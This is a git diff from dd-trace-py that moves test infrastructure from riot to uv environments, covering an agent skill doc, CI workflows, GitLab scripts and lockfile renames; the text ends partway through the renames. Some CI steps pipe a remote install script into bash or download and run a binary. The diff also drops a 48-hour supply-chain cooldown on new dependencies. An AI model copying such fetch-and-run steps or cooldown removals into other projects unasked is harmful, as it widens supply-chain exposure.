diff --git a/.claude/skills/run-tests/SKILL.md b/.claude/skills/run-tests/SKILL.md index 254ca5169de..35e4e6acb14 100644 --- a/.claude/skills/run-tests/SKILL.md +++ b/.claude/skills/run-tests/SKILL.md @@ -29,7 +29,7 @@ Use this skill when you have: ## Key Principles 1. **Always use the run-tests skill** when testing code changes - it's optimized for intelligent suite discovery -2. **Never run pytest directly** - bypasses the project's test infrastructure (use `scripts/run-tests` or `riot` via `scripts/ddtest`) +2. **Never run pytest directly** - use `scripts/run-tests` 3. **Minimal venvs for iteration** - run 1-2 venvs initially, expand only if needed 4. **Use `--dry-run` first** - see what would run before executing 5. **Follow official docs** - `docs/contributing-testing.rst` is the source of truth for testing procedures @@ -54,7 +54,7 @@ scripts/run-tests --list This outputs JSON showing: - Available test suites that match your changed files - All venvs (Python versions + package combinations) available for each suite -- Their hashes, Python versions, and package versions +- Their descriptive IDs, Python versions, and package versions ### Step 3: Intelligently Select Venvs @@ -84,41 +84,24 @@ When you modify files like: #### For Test-Only Changes When you modify `tests/` files (but not test infrastructure): - Run only the specific test files/functions modified -- Use pytest args with two separators: `-- -- -k test_name` (first `--` ends `scripts/run-tests` parsing and starts riot args; second `--` tells riot to forward remaining args to pytest), or direct pytest test paths (e.g., `-- -- tests/contrib/flask/test_views.py`) +- Pass pytest arguments after one separator, for example `-- -k test_name` #### For Test Infrastructure Changes When you modify: -- `tests/conftest.py`, `tests/suitespec.yml`, `scripts/run-tests`, `riotfile.py` +- `tests/conftest.py`, suitespec files, `scripts/run-tests`, or `.uv` locks **Strategy:** Run a quick smoke test suite - Example: `internal` suite with 1 venv as a sanity check - Or run small existing test suites to verify harness changes -### Step 4: Execute Selected Venvs +### Step 4: Execute Selected Environments -I'll run the selected venvs. On the **first invocation in a session**, always run without `-s` to ensure the venv has dd-trace-py properly installed: +Run the selected descriptive environment IDs. The runner creates the uv environment, installs dd-trace-py, installs its exact lock, and manages required services: ```bash -scripts/run-tests --venv --venv +scripts/run-tests --venv --venv ``` -On **subsequent runs**, use `-s` (riot's `--skip-base-install` flag, not to be confused with pytest's `-s`) to skip rebuilding dd-trace-py and save significant time: - -```bash -scripts/run-tests --venv --venv -- -s -``` - -**When to use `-s` (skip base install) on subsequent runs:** -- Only Python files were modified (no native code changes) -- Iterating on test fixes within the same session -- Re-running tests after small code tweaks - -**When to omit `-s` even on subsequent runs (force rebuild):** -- After merging or rebasing from main (dependencies or native code may have changed) -- C extensions, Cython (`.pyx`, `.pxd`), or CMake files were modified (e.g., under `ddtrace/internal/`, `ddtrace/appsec/_iast/_taint_tracking/`, `src/native/`) -- `setup.py`, `pyproject.toml`, or `setup.cfg` were modified -- `riotfile.py` or `.riot/requirements/` files were modified - This will: - Start required Docker services (redis, postgres, etc.) - Run tests in the specified venvs sequentially @@ -136,9 +119,9 @@ This will: - Offer to run specific failing tests with more verbosity - Help iterate on fixes and re-run -For re-running specific tests (use `-s` since the venv is already built): +For re-running specific tests: ```bash -scripts/run-tests --venv -- -s -- -vv -k test_name +scripts/run-tests --venv -- -vv -k test_name ``` ## When Tests Fail @@ -153,7 +136,7 @@ When you encounter test failures, follow this systematic approach: ## Venv Selection Strategy in Detail -### Understanding Venv Hashes +### Understanding Environment IDs From `scripts/run-tests --list`, you'll see output like: @@ -164,12 +147,12 @@ From `scripts/run-tests --list`, you'll see output like: "name": "tracer", "venvs": [ { - "hash": "abc123", + "id": "tracer-py39", "python_version": "3.8", "packages": "..." }, { - "hash": "def456", + "id": "tracer-py314", "python_version": "3.11", "packages": "..." } @@ -204,10 +187,10 @@ From `scripts/run-tests --list`, you'll see output like: ### Using `--venv` Directly -When you have a specific venv hash you want to run, you can use it directly without specifying file paths: +When you have a specific environment ID, run it directly without specifying file paths: ```bash -scripts/run-tests --venv e06abee +scripts/run-tests --suite contrib::flask --venv flask-py313-flask-latest ``` The `--venv` flag automatically searches **all available venvs** across all suites, so it works regardless of what files you have locally changed. This is useful when: @@ -227,13 +210,8 @@ scripts/run-tests --list ddtrace/contrib/internal/flask/patch.py # Select output (latest Python): # Suite: contrib::flask -# Venv: hash=e06abee, Python 3.13, flask - -# First run: no -s to ensure venv is properly set up -scripts/run-tests --venv e06abee - -# Subsequent runs: use -s since only Python files changed -scripts/run-tests --venv e06abee -- -s +# Environment: flask-py313-flask-latest, Python 3.13, Flask latest +scripts/run-tests --suite contrib::flask --venv flask-py313-flask-latest ``` ### Example 2: Fixing a Core Tracing Issue @@ -248,11 +226,7 @@ scripts/run-tests --list ddtrace/_trace/tracer.py # - tracer: latest Python (e.g., abc123) # - internal: latest Python (e.g., def456) -# First run: no -s -scripts/run-tests --venv abc123 --venv def456 - -# Subsequent runs: use -s since only Python files changed -scripts/run-tests --venv abc123 --venv def456 -- -s +scripts/run-tests --venv tracer-py314 --venv internal-py314 ``` ### Example 3: Fixing a Test-Specific Bug @@ -263,19 +237,15 @@ scripts/run-tests --venv abc123 --venv def456 -- -s scripts/run-tests --list tests/contrib/flask/test_views.py # Output shows: contrib::flask suite -# First run: no -s -scripts/run-tests --venv flask_py311 -- -- -vv tests/contrib/flask/test_views.py - -# Subsequent runs: use -s to skip rebuild -scripts/run-tests --venv flask_py311 -- -s -- -vv tests/contrib/flask/test_views.py +scripts/run-tests --suite contrib::flask --venv flask-py311-flask-latest -- -vv tests/contrib/flask/test_views.py ``` ### Example 4: Iterating on a Failing Test -After the first run shows a test failing, use `-s` to iterate quickly: +After the first run shows a test failing, narrow the pytest selection: ```bash -scripts/run-tests --venv flask_py311 -- -s -- -vv -k test_view_called_twice +scripts/run-tests --suite contrib::flask --venv flask-py311-flask-latest -- -vv -k test_view_called_twice # Focused on the specific failing test with verbose output ``` @@ -283,7 +253,6 @@ scripts/run-tests --venv flask_py311 -- -s -- -vv -k test_view_called_twice ### DO ✅ -- **Use `-s` on subsequent runs**: After the first run builds the venv, pass `-- -s` to skip rebuild when only Python files changed - **Start small**: Run 1 venv first, expand only if needed - **Be specific**: Use pytest `-k` filter when re-running failures - **Check git**: Verify you're testing the right files with `git status` @@ -292,8 +261,6 @@ scripts/run-tests --venv flask_py311 -- -s -- -vv -k test_view_called_twice ### DON'T ❌ -- **Use `-s` after merging from main**: Native code or dependencies may have changed, requiring a rebuild -- **Use `-s` when C/Cython/CMake files changed**: Native extensions must be recompiled - **Run all venvs initially**: That's what CI is for - **Skip the minimal set guidance**: It's designed to save you time - **Ignore service requirements**: Some suites need Docker services up @@ -310,7 +277,7 @@ scripts/run-tests --venv flask_py311 -- -s -- -vv -k test_view_called_twice - Where to put tests in the repository - Prerequisites (Docker, uv) - Complete `scripts/run-tests` usage examples - - Riot environment management details + - uv environment and lock management details - Running specific test files and functions - Test debugging strategies @@ -354,10 +321,10 @@ docker compose down The `scripts/run-tests` system: - Maps source files to test suites using patterns in `tests/suitespec.yml` -- Uses `riot` to manage multiple Python/package combinations as venvs +- Expands suitespec matrices into uv environments with committed locks - Each venv is a self-contained environment - Docker services are managed per suite lifecycle -- Use `-- -- ` for mixed passthrough. The first `--` is consumed by `scripts/run-tests`, and the second `--` is consumed by `riot` before forwarding remaining args to pytest. If you only need pytest args, use `-- -- `. +- Pass test-command arguments after one `--` separator. ### Supported Suite Types @@ -386,14 +353,14 @@ You can limit CPU and memory resources to simulate resource-constrained CI envir **Usage:** ```bash # Run tests with resource constraints -DD_TEST_CPUS=0.5 DD_TEST_MEMORY=1g scripts/run-tests --venv +DD_TEST_CPUS=0.5 DD_TEST_MEMORY=1g scripts/run-tests --venv # Run specific test file with heavy constraints DD_TEST_CPUS=0.25 DD_TEST_MEMORY=1g scripts/run-tests tests/path/to/test.py # Multiple runs to catch intermittent failures for i in {1..10}; do - DD_TEST_CPUS=0.5 DD_TEST_MEMORY=1g scripts/run-tests --venv -- --randomly-seed=$RANDOM + DD_TEST_CPUS=0.5 DD_TEST_MEMORY=1g scripts/run-tests --venv -- --randomly-seed=$RANDOM done ``` diff --git a/.github/CODEOWNERS b/.github/CODEOWNERS index 09b0ed73671..a8fc9139455 100644 --- a/.github/CODEOWNERS +++ b/.github/CODEOWNERS @@ -30,6 +30,7 @@ releasenotes/ @DataDog/apm-python tests/snapshots/ @DataDog/apm-python riotfile.py @DataDog/apm-python .riot/requirements/ @DataDog/apm-python +.uv/ @DataDog/python-guild CHANGELOG.md @DataDog/apm-python ddtrace/internal/telemetry/ @DataDog/apm-python tests/telemetry @DataDog/apm-python diff --git a/.github/PULL_REQUEST_TEMPLATE/python_315_bump.md b/.github/PULL_REQUEST_TEMPLATE/python_315_bump.md index d0a2aba6aaf..466f08aea90 100644 --- a/.github/PULL_REQUEST_TEMPLATE/python_315_bump.md +++ b/.github/PULL_REQUEST_TEMPLATE/python_315_bump.md @@ -15,13 +15,13 @@ This PR enables the **``** integration on Python 3.15. + Python 3.13 cap in the `` suitespec matrix." --> ## Checklist -- [ ] Bumped upstream pin in `riotfile.py` to a version that supports Python 3.15 -- [ ] Lifted `max_version="3.13"` / `"3.14"` cap on the affected venv(s) (if present) -- [ ] Ran `riot generate ` and committed the regenerated `.riot/requirements/*.txt` lockfiles +- [ ] Bumped the upstream pin in suitespec to a version that supports Python 3.15 +- [ ] Added Python 3.15 to the affected matrix cases where supported +- [ ] Ran `scripts/test-env lock ` and committed the regenerated `.uv/*.txt` locks - [ ] Ran the suite locally on 3.15 via `scripts/run-tests ` (paste a link or summary of the result) - [ ] Updated `supported_versions.json` if integration min/max versions changed - [ ] Release note added under `releasenotes/notes/`, **or** PR labeled `changelog/no-changelog` (test/CI-only changes) diff --git a/.github/actions/generated-change-patch/action.yml b/.github/actions/generated-change-patch/action.yml index d435d6f7edd..b8162d2c90b 100644 --- a/.github/actions/generated-change-patch/action.yml +++ b/.github/actions/generated-change-patch/action.yml @@ -37,7 +37,7 @@ runs: case "$PROFILE" in package-versions) - if [[ "$path" =~ ^\.riot/requirements/[^/]+\.txt$ ]] || + if [[ "$path" =~ ^\.uv/[^/]+\.txt$ ]] || [[ "$path" == "supported_versions.json" ]] || [[ "$path" == "scripts/integration_registry/registry.yaml" ]]; then return diff --git a/.github/workflows/generate-package-versions.yml b/.github/workflows/generate-package-versions.yml index 955d1552cb4..e054348a805 100644 --- a/.github/workflows/generate-package-versions.yml +++ b/.github/workflows/generate-package-versions.yml @@ -1,4 +1,4 @@ -name: Update riot lockfiles +name: Update test locks on: workflow_dispatch: # can be triggered manually @@ -6,8 +6,8 @@ on: - cron: "0 0 * * *" # daily at midnight jobs: - update-riot-lockfiles: - name: Update riot lockfiles + update-test-locks: + name: Update test locks if: github.event_name != 'schedule' || github.event.repository.fork == false runs-on: ubuntu-22.04 outputs: @@ -79,26 +79,8 @@ jobs: run: | curl https://dd-trace-py-builds.s3.amazonaws.com/main/install.sh | bash - - name: Compute supply-chain cooldown cutoff - id: cooldown - run: | - # TEST-CD (APMLP-1362): forward a cutoff 48h in the past to riot's - # uv pip compile backend so transitive deps younger than the - # cooldown can't be pulled into a regenerated lockfile. - CUTOFF=$(date -u -d "2 days ago" "+%Y-%m-%dT%H:%M:%SZ" 2>/dev/null \ - || python -c "import datetime as dt; print((dt.datetime.now(dt.timezone.utc) - dt.timedelta(days=2)).strftime('%Y-%m-%dT%H:%M:%SZ'))") - echo "cutoff=${CUTOFF}" >> "$GITHUB_OUTPUT" - echo "Using exclude-newer cutoff: ${CUTOFF}" - - - name: Run regenerate-riot-latest - env: - # Opt riot's `requirements` compile step into `uv pip compile` so - # that --exclude-newer can be forwarded for the cooldown. Older - # riot versions ignore both variables silently, so this is safe - # to set before the riot upgrade lands. - RIOT_PIP_COMPILE_BACKEND: "uv" - RIOT_PIP_COMPILE_EXCLUDE_NEWER: ${{ steps.cooldown.outputs.cutoff }} - run: scripts/regenerate-riot-latest.sh + - name: Regenerate test locks + run: scripts/regenerate-test-locks-latest.sh - name: Run integration registry update run: python scripts/integration_registry/update_and_format_registry.py @@ -128,8 +110,8 @@ jobs: create-pull-request: name: Create pull request - needs: update-riot-lockfiles - if: needs.update-riot-lockfiles.outputs.changed == 'true' + needs: update-test-locks + if: needs.update-test-locks.outputs.changed == 'true' runs-on: ubuntu-22.04 permissions: actions: read @@ -166,14 +148,14 @@ jobs: with: token: ${{ steps.octo-sts.outputs.token }} sign-commits: true - branch: "upgrade-latest-${{ needs.update-riot-lockfiles.outputs.venv_name }}-version" + branch: "upgrade-latest-${{ needs.update-test-locks.outputs.venv_name }}-version" commit-message: "Update package version" delete-branch: true base: main - title: "chore: update ${{ needs.update-riot-lockfiles.outputs.venv_name }} latest version to ${{ needs.update-riot-lockfiles.outputs.new_latest }}" + title: "chore: update ${{ needs.update-test-locks.outputs.venv_name }} latest version to ${{ needs.update-test-locks.outputs.new_latest }}" labels: changelog/no-changelog body: | - Update ${{ needs.update-riot-lockfiles.outputs.venv_name }} lockfiles and dependency package lockfiles. + Update ${{ needs.update-test-locks.outputs.venv_name }} lockfiles and dependency package lockfiles. This performs the following updates: - 1) Some ${{ needs.update-riot-lockfiles.outputs.venv_name }} lockfiles use ${{ needs.update-riot-lockfiles.outputs.venv_name }} `latest`. This will update ${{ needs.update-riot-lockfiles.outputs.venv_name }} and dependencies. - 2) Some ${{ needs.update-riot-lockfiles.outputs.venv_name }} lockfiles use a pinned (non-latest) version of ${{ needs.update-riot-lockfiles.outputs.venv_name }}, but require the `latest` version of another package. This will update all such packages. + 1) Some ${{ needs.update-test-locks.outputs.venv_name }} locks use ${{ needs.update-test-locks.outputs.venv_name }} `latest`. This updates that package and its dependencies. + 2) Some locks pin ${{ needs.update-test-locks.outputs.venv_name }} but use the latest version of another package. This updates those dependencies. diff --git a/.github/workflows/update-package-version.yml b/.github/workflows/update-package-version.yml index ad819f04db2..75023d54f45 100644 --- a/.github/workflows/update-package-version.yml +++ b/.github/workflows/update-package-version.yml @@ -1,10 +1,10 @@ -name: Update riot package lockfiles +name: Update test locks for a package on: workflow_dispatch: inputs: integration_name: - description: "Riot integration/venv name to update" + description: "Test suite name to update" required: true type: string package_name: @@ -13,8 +13,8 @@ on: type: string jobs: - update-riot-package-lockfiles: - name: Update riot package lockfiles + update-test-locks: + name: Update test locks runs-on: ubuntu-22.04 outputs: changed: ${{ steps.patch.outputs.changed }} @@ -84,27 +84,10 @@ jobs: run: | curl https://dd-trace-py-builds.s3.amazonaws.com/main/install.sh | bash - - name: Compute supply-chain cooldown cutoff - id: cooldown - run: | - # TEST-CD (APMLP-1362): forward a cutoff 48h in the past to riot's - # uv pip compile backend so transitive deps younger than the - # cooldown can't be pulled into a regenerated lockfile. - CUTOFF=$(date -u -d "2 days ago" "+%Y-%m-%dT%H:%M:%SZ" 2>/dev/null \ - || python -c "import datetime as dt; print((dt.datetime.now(dt.timezone.utc) - dt.timedelta(days=2)).strftime('%Y-%m-%dT%H:%M:%SZ'))") - echo "cutoff=${CUTOFF}" >> "$GITHUB_OUTPUT" - echo "Using exclude-newer cutoff: ${CUTOFF}" - - - name: Run regenerate-riot-latest + - name: Regenerate test locks env: TARGET_PACKAGE: ${{ inputs.integration_name }} - # Opt riot's `requirements` compile step into `uv pip compile` so - # that --exclude-newer can be forwarded for the cooldown. Older - # riot versions ignore both variables silently, so this is safe - # to set before the riot upgrade lands. - RIOT_PIP_COMPILE_BACKEND: "uv" - RIOT_PIP_COMPILE_EXCLUDE_NEWER: ${{ steps.cooldown.outputs.cutoff }} - run: scripts/regenerate-riot-latest.sh "$TARGET_PACKAGE" + run: scripts/regenerate-test-locks-latest.sh "$TARGET_PACKAGE" - name: Run integration registry update run: python scripts/integration_registry/update_and_format_registry.py @@ -135,8 +118,8 @@ jobs: create-pull-request: name: Create pull request - needs: update-riot-package-lockfiles - if: needs.update-riot-package-lockfiles.outputs.changed == 'true' + needs: update-test-locks + if: needs.update-test-locks.outputs.changed == 'true' runs-on: ubuntu-22.04 permissions: actions: read @@ -177,8 +160,8 @@ jobs: commit-message: "Update package version" delete-branch: true base: main - title: "chore: update ${{ inputs.package_name }} latest version to ${{ needs.update-riot-package-lockfiles.outputs.new_latest }}" + title: "chore: update ${{ inputs.package_name }} latest version to ${{ needs.update-test-locks.outputs.new_latest }}" labels: changelog/no-changelog body: | Update ${{ inputs.package_name }} lockfiles. - This updates only the riot lockfiles for the selected package/venv. + This updates only the uv locks for the selected test suite. diff --git a/.gitlab-ci.yml b/.gitlab-ci.yml index 7620cfeedf2..357a8606d0d 100644 --- a/.gitlab-ci.yml +++ b/.gitlab-ci.yml @@ -312,20 +312,9 @@ check_requirements_lockfiles: stage: tests needs: [] extends: .testrunner - variables: - # DD_DISABLE_VPA is required: without it VPA overrides KUBERNETES_MEMORY_* - # (see "overridden by VPA" in runner logs) and clamps the build container - # down to ~4 GiB based on its learned model. compile-and-prune-test- - # requirements pip-compiles every riot lockfile sequentially and peaks - # above that when resolving the full venv matrix (including 3.15 venvs), - # causing OOMKilled (exit 137). - DD_DISABLE_VPA: "true" - KUBERNETES_MEMORY_REQUEST: "8Gi" - KUBERNETES_MEMORY_LIMIT: "8Gi" script: - pip install toml==0.10.2 pyyaml==6.0.2 - - scripts/compile-and-prune-test-requirements - - scripts/check-diff '.riot/requirements/' 'Mismatches found between .riot/requirements/*.txt and riotfile.py. Run scripts/compile-and-prune-test-requirements and commit the result.' + - scripts/test-env check - python scripts/requirements_to_csv.py - scripts/check-diff 'requirements.csv' 'Tracer dependency requirements in requirements.csv is out of date. Run `python scripts/requirements_to_csv.py` and commit the result.' @@ -605,7 +594,7 @@ prof-correctness: -f dd_trace_py_commit_sha="${CI_COMMIT_SHA}" lib_injection_tests: - # tests for sitecustomize safety that intentionally run outside of riot to simulate a fresh system + # These sitecustomize safety tests intentionally run outside managed test environments to simulate a fresh system. needs: [] stage: tests tags: [ "arch:amd64" ] diff --git a/.gitlab/scripts/get-riot-hashes.sh b/.gitlab/scripts/get-riot-hashes.sh deleted file mode 100755 index 801409743ec..00000000000 --- a/.gitlab/scripts/get-riot-hashes.sh +++ /dev/null @@ -1,5 +0,0 @@ -#!/usr/bin/env bash -set -e -u -o pipefail - -SUITE_NAME="${1:-}" -riot list --hash-only "${SUITE_NAME}" | sort | ./.gitlab/ci-split-input.sh diff --git a/.gitlab/scripts/get-riot-pip-cache-key.sh b/.gitlab/scripts/get-riot-pip-cache-key.sh deleted file mode 100755 index bedfcab80f3..00000000000 --- a/.gitlab/scripts/get-riot-pip-cache-key.sh +++ /dev/null @@ -1,12 +0,0 @@ -#!/usr/bin/env bash -set -e -u -o pipefail - -SUITE_NAME="${1:-}" -hashes=( $(./.gitlab/scripts/get-riot-hashes.sh "${SUITE_NAME}") ) -# Get the sha256sum of all the requirements files combined -for hash in "${hashes[@]}"; do - req_file="./.riot/requirements/${hash}.txt" - if [ -f "${req_file}" ]; then - cat "${req_file}" - fi -done | sort | sha256sum | awk '{print $1}' diff --git a/.gitlab/scripts/get-test-environments.sh b/.gitlab/scripts/get-test-environments.sh new file mode 100755 index 00000000000..b8a8da305b0 --- /dev/null +++ b/.gitlab/scripts/get-test-environments.sh @@ -0,0 +1,5 @@ +#!/usr/bin/env bash +set -e -u -o pipefail + +SUITE_NAME="${1:-}" +scripts/test-env list "${SUITE_NAME}" | ./.gitlab/ci-split-input.sh diff --git a/.gitlab/scripts/get-test-lock-cache-key.sh b/.gitlab/scripts/get-test-lock-cache-key.sh new file mode 100755 index 00000000000..1207aa50a62 --- /dev/null +++ b/.gitlab/scripts/get-test-lock-cache-key.sh @@ -0,0 +1,13 @@ +#!/usr/bin/env bash +set -e -u -o pipefail + +SUITE_NAME="${1:-}" +suite_slug=$(printf '%s' "${SUITE_NAME}" | tr '[:upper:]_' '[:lower:]-' | sed -E 's/[^a-z0-9]+/-/g; s/^-//; s/-$//') +environments=( $(scripts/test-env list "${SUITE_NAME}") ) +# Get the sha256sum of all the requirements files combined. +for environment in "${environments[@]}"; do + req_file="./.uv/${suite_slug}--${environment}.txt" + if [ -f "${req_file}" ]; then + cat "${req_file}" + fi +done | sort | sha256sum | awk '{print $1}' diff --git a/.gitlab/scripts/post-pr-comment.sh b/.gitlab/scripts/post-pr-comment.sh index d9c0d8c2a0f..b560e1e5715 100755 --- a/.gitlab/scripts/post-pr-comment.sh +++ b/.gitlab/scripts/post-pr-comment.sh @@ -15,19 +15,28 @@ MESSAGE_FILE="$2" # Bail out silently if there is nothing to say. [ -s "$MESSAGE_FILE" ] || exit 0 -MESSAGE="$(awk '{printf "%s\\n", $0}' "$MESSAGE_FILE" | sed 's/\"/\\"/g')" - AUTHANYWHERE_DIR="$(mktemp -d)" trap 'rm -rf "$AUTHANYWHERE_DIR"' EXIT +PAYLOAD_FILE="$AUTHANYWHERE_DIR/payload.json" +COMMENT_FILE="$AUTHANYWHERE_DIR/comment.txt" + +awk 'BEGIN { limit = 60000 } { size += length($0) + 1; if (size > limit) exit; print }' "$MESSAGE_FILE" > "$COMMENT_FILE" +if ! cmp -s "$MESSAGE_FILE" "$COMMENT_FILE"; then + printf '\nOutput truncated; see the CI job log for the complete report.\n' >> "$COMMENT_FILE" +fi + +jq --null-input \ + --arg commit "$CI_COMMIT_SHORT_SHA" \ + --rawfile message "$COMMENT_FILE" \ + --arg header "$HEADER" \ + '{commit: $commit, message: $message, header: $header, org: "Datadog", repo: "dd-trace-py"}' \ + > "$PAYLOAD_FILE" + wget -nv -P "$AUTHANYWHERE_DIR" binaries.ddbuild.io/dd-source/authanywhere/LATEST/authanywhere-linux-amd64 chmod +x "$AUTHANYWHERE_DIR/authanywhere-linux-amd64" curl 'https://pr-commenter.us1.ddbuild.io/internal/cit/pr-comment' \ -H "$("$AUTHANYWHERE_DIR/authanywhere-linux-amd64")" \ - -X PATCH -d "{ \ - \"commit\": \"$CI_COMMIT_SHORT_SHA\", \ - \"message\": \"$MESSAGE\", \ - \"header\": \"$HEADER\", \ - \"org\": \"Datadog\", \ - \"repo\": \"dd-trace-py\" \ - }" + -H 'Content-Type: application/json' \ + -X PATCH \ + --data-binary "@$PAYLOAD_FILE" diff --git a/.gitlab/templates/build-base-venvs.yml b/.gitlab/templates/build-base-venvs.yml index dc32b3e40d8..4d0c928024d 100644 --- a/.gitlab/templates/build-base-venvs.yml +++ b/.gitlab/templates/build-base-venvs.yml @@ -10,6 +10,7 @@ build_base_venvs: PIP_VERBOSE: '0' DD_PROFILING_NATIVE_TESTS: '1' DD_USE_SCCACHE: '1' + UV_NO_CACHE: '1' # S3-backed sccache, matches the wheel-build jobs in .gitlab/package.yml SCCACHE_BUCKET: 'dd-trace-py-builds' SCCACHE_S3_KEY_PREFIX: 'sccache' @@ -37,10 +38,8 @@ build_base_venvs: python scripts/allow_prerelease_dependencies.py export PIP_PRE=true fi - riot -P -v generate --python=$PYTHON_VERSION - .riot/venv_py3*/bin/pip freeze echo "Running smoke tests" - riot -v run -s --python=$PYTHON_VERSION smoke_test + scripts/run-tests --suite smoke_test --venv "smoke-test-py${{PYTHON_VERSION//./}}" sccache --show-stats || true artifacts: name: venv_$PYTHON_VERSION @@ -48,4 +47,6 @@ build_base_venvs: paths: - core.* - ddtrace/**/*.so* - - .riot/venv_* + - src/native/target*/include/ + - .download_cache/_cmake_deps/absl_install_*/ + - .cache/uv-test-environments/smoke_test/ diff --git a/.gitlab/tests.yml b/.gitlab/tests.yml index c2974d8a98e..ab659f0e6a2 100644 --- a/.gitlab/tests.yml +++ b/.gitlab/tests.yml @@ -1,10 +1,9 @@ stages: - setup - - riot + - test - exploration variables: - RIOT_RUN_CMD: riot -P -v run --exitfirst --pass-env -s REPO_LANG: python # "python" is used everywhere rather than "py" # CI_DEBUG_SERVICES: "true" @@ -13,56 +12,47 @@ include: - local: ".gitlab/testrunner.yml" -# Do not define a `needs:` in order to depend on the whole `precheck` stage -.test_base_riot: +.test_base: extends: .testrunner - stage: riot - needs: [ build_base_venvs, prechecks ] - parallel: 4 + stage: test + needs: [prechecks] services: - !reference [.services, ddagent] - # DEV: This is the max retries that GitLab currently allows for before_script: - !reference [.testrunner, before_script] + # Artifact extraction preserves build timestamps, so refresh native outputs after checkout. + - find ddtrace -type f -name '*.so*' -exec touch {} + - unset DD_SERVICE - unset DD_ENV - unset DD_TAGS - unset DD_TRACE_REMOVE_INTEGRATION_SERVICE_NAMES_ENABLED script: - | - hashes=( $(.gitlab/scripts/get-riot-hashes.sh "${SUITE_NAME}") ) - echo "NIGHTLY_BUILD: ${NIGHTLY_BUILD}" - if [[ ${#hashes[@]} -eq 0 ]]; then - echo "No riot hashes found for ${SUITE_NAME}" + environment_ids=( $(.gitlab/scripts/get-test-environments.sh "${TEST_SUITE}") ) + if [[ ${#environment_ids[@]} -eq 0 ]]; then + echo "No uv environments found for ${TEST_SUITE}" exit 1 fi - for hash in "${hashes[@]}" + for environment_id in "${environment_ids[@]}" do - echo "Running riot hash: ${hash}" - riot list "${hash}" - export _CI_DD_TAGS="test.configuration.riot_hash:${hash}" - ${RIOT_RUN_CMD} "${hash}" -- --ddtrace + echo "Running uv environment: ${environment_id}" + export _CI_DD_TAGS="test.configuration.environment_id:${environment_id}" + scripts/run-tests -s --suite "${TEST_SUITE}" --venv "${environment_id}" -- --ddtrace done - ./scripts/check-diff ".riot/requirements/" \ - "Changes detected after running riot. Consider deleting changed files, running scripts/compile-and-prune-test-requirements and committing the result." - ./scripts/check-diff "scripts/integration_registry/registry.yaml" \ - "Registry YAML file (scripts/integration_registry/registry.yaml) was modified. Please run: scripts/integration_registry/update_and_format_registry.py and commit the changes." + ./scripts/check-diff ".uv/" \ + "Changes detected in uv locks. Run scripts/test-env lock and commit the result." - -.test_base_riot_snapshot: - extends: .test_base_riot +.test_base_snapshot: + extends: .test_base services: - - !reference [.test_base_riot, services] + - !reference [.test_base, services] - !reference [.services, testagent] before_script: - - !reference [.test_base_riot, before_script] - # DEV: All job variables get shared with services, setting `DD_TRACE_AGENT_URL` on the testagent will tell it to forward all requests to the - # agent at that host. Therefore setting this as a variable will cause recursive requests to the testagent + - !reference [.test_base, before_script] - export DD_TRACE_AGENT_URL="http://testagent:9126" - - ln -s "${CI_PROJECT_DIR}" "/home/bits/project" -.test_base_riot_gpu: - extends: .test_base_riot +.test_base_gpu: + extends: .test_base image: !reference [.testrunner_gpu, image] tags: !reference [.testrunner_gpu, tags] timeout: 40m @@ -74,16 +64,15 @@ include: KUBERNETES_CPU_LIMIT: "2" before_script: - !reference [.testrunner_gpu, before_script] - - !reference [.test_base_riot, before_script] + - !reference [.test_base, before_script] -.test_base_riot_gpu_snapshot: - extends: .test_base_riot_gpu +.test_base_gpu_snapshot: + extends: .test_base_gpu services: - - !reference [.test_base_riot_gpu, services] + - !reference [.test_base_gpu, services] - !reference [.services, testagent] before_script: - - !reference [.test_base_riot_gpu, before_script] + - !reference [.test_base_gpu, before_script] - export DD_TRACE_AGENT_URL="http://testagent:9126" - - ln -s "${CI_PROJECT_DIR}" "/home/bits/project" # Required jobs will appear here diff --git a/.readthedocs.yml b/.readthedocs.yml index 49d117eb736..3e1bd482dcc 100644 --- a/.readthedocs.yml +++ b/.readthedocs.yml @@ -7,6 +7,6 @@ build: commands: - cargo install --force --root /home/docs/.asdf --git https://github.com/DataDog/libdatadog --bin dedup_headers tools - git fetch --unshallow || true - - pip install riot - - READTHEDOCS=1 riot -v run --pass-env build_docs + - pip install uv==0.12.5 + - READTHEDOCS=1 uv run --no-project --python 3.10 --no-python-downloads --with-editable . --with-requirements .uv/build-docs--build-docs-py310.txt scripts/docs/build.sh - mv docs/_build $READTHEDOCS_OUTPUT diff --git a/.riot/requirements/ebd4d1f.txt b/.uv/aiguard-ai-guard-anthropic--ai-guard-anthropic-py310-anthropic-0-28-0-httpx-0-27-0.txt similarity index 100% rename from .riot/requirements/ebd4d1f.txt rename to .uv/aiguard-ai-guard-anthropic--ai-guard-anthropic-py310-anthropic-0-28-0-httpx-0-27-0.txt diff --git a/.riot/requirements/1696b86.txt b/.uv/aiguard-ai-guard-anthropic--ai-guard-anthropic-py310-anthropic-latest-httpx-lt-0-28-0.txt similarity index 100% rename from .riot/requirements/1696b86.txt rename to .uv/aiguard-ai-guard-anthropic--ai-guard-anthropic-py310-anthropic-latest-httpx-lt-0-28-0.txt diff --git a/.riot/requirements/60de1df.txt b/.uv/aiguard-ai-guard-anthropic--ai-guard-anthropic-py311-anthropic-0-28-0-httpx-0-27-0.txt similarity index 100% rename from .riot/requirements/60de1df.txt rename to .uv/aiguard-ai-guard-anthropic--ai-guard-anthropic-py311-anthropic-0-28-0-httpx-0-27-0.txt diff --git a/.riot/requirements/81720f2.txt b/.uv/aiguard-ai-guard-anthropic--ai-guard-anthropic-py311-anthropic-latest-httpx-lt-0-28-0.txt similarity index 100% rename from .riot/requirements/81720f2.txt rename to .uv/aiguard-ai-guard-anthropic--ai-guard-anthropic-py311-anthropic-latest-httpx-lt-0-28-0.txt diff --git a/.riot/requirements/1831d67.txt b/.uv/aiguard-ai-guard-anthropic--ai-guard-anthropic-py312-anthropic-0-28-0-httpx-0-27-0.txt similarity index 100% rename from .riot/requirements/1831d67.txt rename to .uv/aiguard-ai-guard-anthropic--ai-guard-anthropic-py312-anthropic-0-28-0-httpx-0-27-0.txt diff --git a/.riot/requirements/e090db4.txt b/.uv/aiguard-ai-guard-anthropic--ai-guard-anthropic-py312-anthropic-latest-httpx-lt-0-28-0.txt similarity index 100% rename from .riot/requirements/e090db4.txt rename to .uv/aiguard-ai-guard-anthropic--ai-guard-anthropic-py312-anthropic-latest-httpx-lt-0-28-0.txt diff --git a/.riot/requirements/15eaf5b.txt b/.uv/aiguard-ai-guard-anthropic--ai-guard-anthropic-py313-anthropic-0-28-0-httpx-0-27-0.txt similarity index 100% rename from .riot/requirements/15eaf5b.txt rename to 